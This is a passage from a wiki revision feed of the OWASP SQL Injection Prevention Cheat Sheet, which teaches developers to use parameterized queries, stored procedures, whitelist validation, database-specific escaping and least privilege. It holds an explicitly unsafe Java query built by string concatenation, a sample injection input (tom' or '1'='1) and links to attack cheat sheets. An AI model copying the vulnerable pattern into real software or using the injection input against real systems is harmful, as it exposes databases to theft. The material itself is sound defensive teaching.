There are also several cases where stored procedures can increase risk.  For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8&lt;br /&gt;
&lt;br /&gt;
;Safe Java Stored Procedure Example&lt;br /&gt;
&lt;br /&gt;
The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated&lt;br /&gt;
  try {&lt;br /&gt;
  	'''CallableStatement cs = connection.prepareCall(&amp;quot;{call sp_getAccountBalance(?)}&amp;quot;);'''&lt;br /&gt;
  	'''cs.setString(1, custname);'''&lt;br /&gt;
  	ResultSet results = cs.executeQuery();		&lt;br /&gt;
  	// … result set handling &lt;br /&gt;
  } catch (SQLException se) {			&lt;br /&gt;
  	// … logging and error handling&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
;Safe VB .NET Stored Procedure Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  Try&lt;br /&gt;
  	Dim command As SqlCommand = new SqlCommand(&amp;quot;sp_getAccountBalance&amp;quot;, connection)&lt;br /&gt;
  	'''command.CommandType = CommandType.StoredProcedure'''&lt;br /&gt;
  	'''command.Parameters.Add(new SqlParameter(&amp;quot;@CustomerName&amp;quot;, CustomerName.Text))'''&lt;br /&gt;
  	Dim reader As SqlDataReader = command.ExecuteReader()&lt;br /&gt;
  	‘ …&lt;br /&gt;
  Catch se As SqlException &lt;br /&gt;
  	‘ error handling&lt;br /&gt;
  End Try&lt;br /&gt;
&lt;br /&gt;
== Defense Option 3: White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.&lt;br /&gt;
&lt;br /&gt;
  String tableName;&lt;br /&gt;
  switch(PARAM):&lt;br /&gt;
    case &amp;quot;Value1&amp;quot;: tableName = &amp;quot;fooTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
    case &amp;quot;Value2&amp;quot;: tableName = &amp;quot;barTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
      ...&lt;br /&gt;
    default      : throw new InputValidationException(&amp;quot;unexpected value provided for table name&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.&lt;br /&gt;
&lt;br /&gt;
For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:&lt;br /&gt;
&lt;br /&gt;
  public String someMethod(boolean sortOrder) {&lt;br /&gt;
  &lt;br /&gt;
  String SQLquery = &amp;quot;some SQL ... order by Salary &amp;quot; + (sortOrder ? &amp;quot;ASC&amp;quot; : &amp;quot;DESC&amp;quot;);&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.&lt;br /&gt;
&lt;br /&gt;
Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Defense Option 4: Escaping All User-Supplied Input==&lt;br /&gt;
&lt;br /&gt;
This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations. &lt;br /&gt;
&lt;br /&gt;
This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.&lt;br /&gt;
&lt;br /&gt;
This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.&lt;br /&gt;
&lt;br /&gt;
* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].&lt;br /&gt;
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.&lt;br /&gt;
* [https://github.com/ESAPI/esapi-java-legacy The legacy ESAPI for Java at GitHub] helps understand existing use of it when Javadoc seems insufficient.&lt;br /&gt;
* [https://github.com/ESAPI/esapi-java An attempt at another ESAPI for Java GitHub] has other approaches and no tests or concrete codecs.&lt;br /&gt;
&lt;br /&gt;
To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.&lt;br /&gt;
&lt;br /&gt;
Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.&lt;br /&gt;
&lt;br /&gt;
At this time, ESAPI currently has database encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* MySQL (Both ANSI and native modes are supported)&lt;br /&gt;
&lt;br /&gt;
Database encoders are forthcoming for:&lt;br /&gt;
* SQL Server&lt;br /&gt;
* PostgreSQL&lt;br /&gt;
&lt;br /&gt;
If your database encoder is missing, please let us know.&lt;br /&gt;
&lt;br /&gt;
===Database Specific Escaping Details===&lt;br /&gt;
&lt;br /&gt;
If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* SQL Server&lt;br /&gt;
* DB2&lt;br /&gt;
&lt;br /&gt;
====Oracle Escaping====&lt;br /&gt;
&lt;br /&gt;
This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F&lt;br /&gt;
&lt;br /&gt;
=====Escaping Dynamic Queries=====&lt;br /&gt;
&lt;br /&gt;
To use an ESAPI database codec is pretty simple. An Oracle example looks something like:&lt;br /&gt;
  ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );&lt;br /&gt;
&lt;br /&gt;
So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) &lt;br /&gt;
  + &amp;quot;' and user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
      Statement statement = connection.createStatement( … );&lt;br /&gt;
      ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
You would rewrite the first line to look like this:&lt;br /&gt;
&lt;br /&gt;
 '''Codec ORACLE_CODEC = new OracleCodec();'''&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + &lt;br /&gt;
    '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot;&lt;br /&gt;
    + '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
And it would now be safe from SQL injection, regardless of the input supplied.&lt;br /&gt;
&lt;br /&gt;
For maximum code readability, you could also construct your own OracleEncoder.&lt;br /&gt;
&lt;br /&gt;
  Encoder oe = new OracleEncoder();&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.&lt;br /&gt;
&lt;br /&gt;
=====Turn off character replacement=====&lt;br /&gt;
&lt;br /&gt;
Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the &amp;amp; character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data. &lt;br /&gt;
&lt;br /&gt;
See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information&lt;br /&gt;
&lt;br /&gt;
=====Escaping Wildcard characters in Like Clauses=====&lt;br /&gt;
&lt;br /&gt;
The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%/_%' ESCAPE '/';&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%\%%' ESCAPE '\';&lt;br /&gt;
&lt;br /&gt;
=====Oracle 10g escaping=====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====MySQL Escaping====&lt;br /&gt;
&lt;br /&gt;
MySQL supports two escaping modes:&lt;br /&gt;
&lt;br /&gt;
# ANSI_QUOTES SQL mode, and a mode with this off, which we call&lt;br /&gt;
# MySQL mode.&lt;br /&gt;
&lt;br /&gt;
ANSI SQL mode: Simply encode all ' (single tick) characters with '&amp;amp;#39; (two single ticks)&lt;br /&gt;
&lt;br /&gt;
MySQL mode, do the following:&lt;br /&gt;
&lt;br /&gt;
  NUL (0x00) --&amp;gt; \0  [This is a zero, not the letter O]&lt;br /&gt;
  BS  (0x08) --&amp;gt; \b&lt;br /&gt;
  TAB (0x09) --&amp;gt; \t&lt;br /&gt;
  LF  (0x0a) --&amp;gt; \n&lt;br /&gt;
  CR  (0x0d) --&amp;gt; \r&lt;br /&gt;
  SUB (0x1a) --&amp;gt; \Z&lt;br /&gt;
  &amp;quot;   (0x22) --&amp;gt; \&amp;quot;&lt;br /&gt;
  %   (0x25) --&amp;gt; \%&lt;br /&gt;
  '   (0x27) --&amp;gt; \'&lt;br /&gt;
  \   (0x5c) --&amp;gt; \\&lt;br /&gt;
  _   (0x5f) --&amp;gt; \_ &lt;br /&gt;
  all other non-alphanumeric characters with ASCII values less than 256  --&amp;gt; \c&lt;br /&gt;
  where 'c' is the original non-alphanumeric character.&lt;br /&gt;
&lt;br /&gt;
This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html&lt;br /&gt;
&lt;br /&gt;
====SQL Server Escaping====&lt;br /&gt;
&lt;br /&gt;
We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server&lt;br /&gt;
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====DB2 Escaping====&lt;br /&gt;
This information is based on DB2 WebQuery special characters found here:  https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983&lt;br /&gt;
as well as some information from Oracle's JDBC DB2 driver found here:&lt;br /&gt;
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html&lt;br /&gt;
&lt;br /&gt;
Information in regards to differences between several DB2 Universal drivers can be found here:  http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm&lt;br /&gt;
&lt;br /&gt;
===Hex-encoding all input===&lt;br /&gt;
&lt;br /&gt;
A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character).  The web application should hex-encode the user input before including it in the SQL statement.  The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:&lt;br /&gt;
&lt;br /&gt;
    SELECT ... FROM session&lt;br /&gt;
    WHERE hex_encode (sessionID) = '616263313233'&lt;br /&gt;
&lt;br /&gt;
(hex_encode should be replaced by the particular facility for the database being used.)  The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).&lt;br /&gt;
&lt;br /&gt;
If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:&lt;br /&gt;
&lt;br /&gt;
    WHERE hex_encode ( ... ) = '2720 ... '&lt;br /&gt;
&lt;br /&gt;
27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string.  The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.&lt;br /&gt;
&lt;br /&gt;
===Escaping SQLi in PHP===&lt;br /&gt;
&lt;br /&gt;
Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;You basically have two options to achieve this:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $pdo-&amp;gt;prepare('SELECT * FROM employees WHERE name = :name');&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute(array('name' =&amp;gt; $name));&lt;br /&gt;
&lt;br /&gt;
foreach ($stmt as $row) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $dbConnection-&amp;gt;prepare('SELECT * FROM employees WHERE name = ?');&lt;br /&gt;
$stmt-&amp;gt;bind_param('s', $name);&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute();&lt;br /&gt;
&lt;br /&gt;
$result = $stmt-&amp;gt;get_result();&lt;br /&gt;
while ($row = $result-&amp;gt;fetch_assoc()) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).&lt;br /&gt;
&lt;br /&gt;
= Additional Defenses =&lt;br /&gt;
&lt;br /&gt;
Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:&lt;br /&gt;
&lt;br /&gt;
* '''Least Privilege'''&lt;br /&gt;
* '''White List Input Validation'''&lt;br /&gt;
&lt;br /&gt;
== Least Privilege ==&lt;br /&gt;
&lt;br /&gt;
To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.&lt;br /&gt;
&lt;br /&gt;
If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.&lt;br /&gt;
&lt;br /&gt;
SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.&lt;br /&gt;
&lt;br /&gt;
While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.&lt;br /&gt;
&lt;br /&gt;
=== Multiple DB Users ===&lt;br /&gt;
&lt;br /&gt;
The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.&lt;br /&gt;
&lt;br /&gt;
As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords.  The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself.  Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.&lt;br /&gt;
&lt;br /&gt;
== White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Related Articles=&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection Attack Cheat Sheets'''&lt;br /&gt;
&lt;br /&gt;
The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* &amp;quot;Bypassing WAF's with SQLi&amp;quot; - [[SQL Injection Bypassing WAF]]&lt;br /&gt;
&lt;br /&gt;
'''Description of SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* OWASP article on [[SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Avoid SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]&lt;br /&gt;
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Test for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:jmanico|Jim Manico]] - jim[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Matt Seil - mseil[at]acm.org&amp;lt;br&amp;gt;&lt;br /&gt;
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets = &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237383</id>
		<title>SQL Injection Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237383"/>
				<updated>2018-02-07T04:04:57Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ reflect absence of concrete codecs in the &amp;quot;active&amp;quot; ESAPI&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:&lt;br /&gt;
&lt;br /&gt;
# the significant prevalence of SQL Injection vulnerabilities, and &lt;br /&gt;
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).&lt;br /&gt;
&lt;br /&gt;
It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.&lt;br /&gt;
&lt;br /&gt;
SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:&lt;br /&gt;
a) stop writing dynamic queries; and/or&lt;br /&gt;
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.&lt;br /&gt;
&lt;br /&gt;
This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.&lt;br /&gt;
&lt;br /&gt;
Primary Defenses:&lt;br /&gt;
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''&lt;br /&gt;
* '''Option 2: Use of Stored Procedures'''&lt;br /&gt;
* '''Option 3: White List Input Validation'''&lt;br /&gt;
* '''Option 4: Escaping All User Supplied Input'''&lt;br /&gt;
&lt;br /&gt;
Additional Defenses:&lt;br /&gt;
* '''Also: Enforcing Least Privilege'''&lt;br /&gt;
* '''Also: Performing White List Input Validation as a Secondary Defense'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
;Unsafe Example&lt;br /&gt;
&lt;br /&gt;
SQL injection flaws typically look like this:&lt;br /&gt;
&lt;br /&gt;
The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = &amp;quot;&lt;br /&gt;
    + request.getParameter(&amp;quot;customerName&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  try {&lt;br /&gt;
  	Statement statement = connection.createStatement( … );&lt;br /&gt;
  	ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
=Primary Defenses=&lt;br /&gt;
&lt;br /&gt;
==Defense Option 1: Prepared Statements (with Parameterized Queries)==&lt;br /&gt;
&lt;br /&gt;
The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.&lt;br /&gt;
&lt;br /&gt;
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.&lt;br /&gt;
&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
* Java EE – use PreparedStatement() with bind variables&lt;br /&gt;
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables&lt;br /&gt;
* PHP – use PDO with strongly typed parameterized queries (using bindParam())&lt;br /&gt;
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)&lt;br /&gt;
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]&lt;br /&gt;
&lt;br /&gt;
In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.&lt;br /&gt;
&lt;br /&gt;
;Safe Java Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.&lt;br /&gt;
&lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated too&lt;br /&gt;
  // perform input validation to detect attacks&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ? &amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  '''PreparedStatement pstmt = connection.prepareStatement( query );'''&lt;br /&gt;
  '''pstmt.setString( 1, custname); '''&lt;br /&gt;
  ResultSet results = pstmt.executeQuery( );&lt;br /&gt;
&lt;br /&gt;
;Safe C# .NET Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.&lt;br /&gt;
 &lt;br /&gt;
  String query = &lt;br /&gt;
  	 &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ?&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
  	OleDbCommand command = new OleDbCommand(query, connection);&lt;br /&gt;
  	'''command.Parameters.Add(new OleDbParameter(&amp;quot;customerName&amp;quot;, CustomerName Name.Text));'''&lt;br /&gt;
  	OleDbDataReader reader = command.ExecuteReader();&lt;br /&gt;
  	// …&lt;br /&gt;
  } catch (OleDbException se) {&lt;br /&gt;
  	// error handling&lt;br /&gt;
  } &lt;br /&gt;
&lt;br /&gt;
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:&lt;br /&gt;
&lt;br /&gt;
